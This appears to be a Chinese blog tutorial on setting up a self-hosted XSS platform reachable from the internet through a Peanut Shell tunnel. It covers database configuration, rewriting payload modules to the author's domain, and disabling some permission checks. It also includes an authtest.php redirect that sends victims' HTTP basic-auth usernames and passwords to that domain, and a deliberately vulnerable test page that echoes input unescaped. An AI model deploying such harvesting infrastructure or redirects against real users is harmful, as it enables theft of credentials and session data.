前言
互联网上有许多XSS平台,但终究没有自己搭建的用的放心。正好最近看到花生壳内网穿透可免费提供一域名。所以就来尝试搭建。
花生壳
image.png点击我的域名。看到为用户免费生成了一个域名。
点击内网穿透。需要开通内网穿透功能。花费6元,毅然决然地选择开通。
新建一条内网映射。即可从外网访问内网。 image.png
搭建XSS平台
在拥有了属于自己的域名情况下,进行搭建XSS平台。
环境:phpstudy的默认安装
。
创建数据库
修改config.php
$config['dbUser'] ='root'; //用户
$config['dbPwd'] ='root'; //密码
$config['database'] ='xssplatform'; //数据库名
$config['urlroot'] ='http://236gr62949.iok.la/';//访问的url起始
根据config.php配置文件新建数据库。
image.png
导入xssplatform.sql数据库。
image.png
更新数据库语句为自己的域名
update oc_module set code=REPLACE(code,"http://xsser.me","http://236gr62949.iok.la/");
修改authtest.php文件为自己的域名
header("Location: http://236gr62949.iok.la/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
可直接用域名访问。
image.png平台使用
生成邀请码
将config.php注册配置修改为normal,邀请码进行任意填写,点击提交注册。
发现无法注册。修改type属性值。
内容
<input id="btnRegister" type="button" onclick="Register()" value="提交注册" />
修改为
<input id="btnRegister" type="submit" value="提交注册" />
就可注册成功。
注册完成后oc_user表中会增加一条记录,手动将adminlevel修改为1(即管理员权限,可以有权限下放邀请码)。
image.png
再回到config.php中修改注册配置为invite,进入只允许邀请注册。
。
//if($user->userId<=0) ShowError('未登录或已超时',$url['login'],'重新登录');
//if($user->adminLevel<=0) ShowError('没有操作权限',URL_ROOT.'/index.php?do=user&act=invite');
image.png
有了邀请码,注册功能就可以正常使用啦。
Apache伪静态
在使用xss poc时,会出现404错误,这是由于url重写没有生效,主要是因为apache中间件配置问题。
解决方法
网站根目录下新建.htaccess文件,内容为
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]
</IfModule>
AllowOverride None
全部改为
AllowOverride All
配置好后,重启phpstudy,就能正常访问。
平台搭建到这里已基本能使用。再进行细节上的处理
修改提示页面跳转时间为500ms
setTimeout("location.href='{$notice.turnto}'",500);
实际测试
手动创建一个有漏洞的XSS页面。
源代码为
<html>
<head>
<title>XSS</title>
</head>
<body>
<form>
<input type="text" name="xss" value="<?php echo @$_GET["xss"]; ?>" />
<input type="submit" value="submit" />
</form>
</body>
</html>
访问插入paylaod
可看到效果图。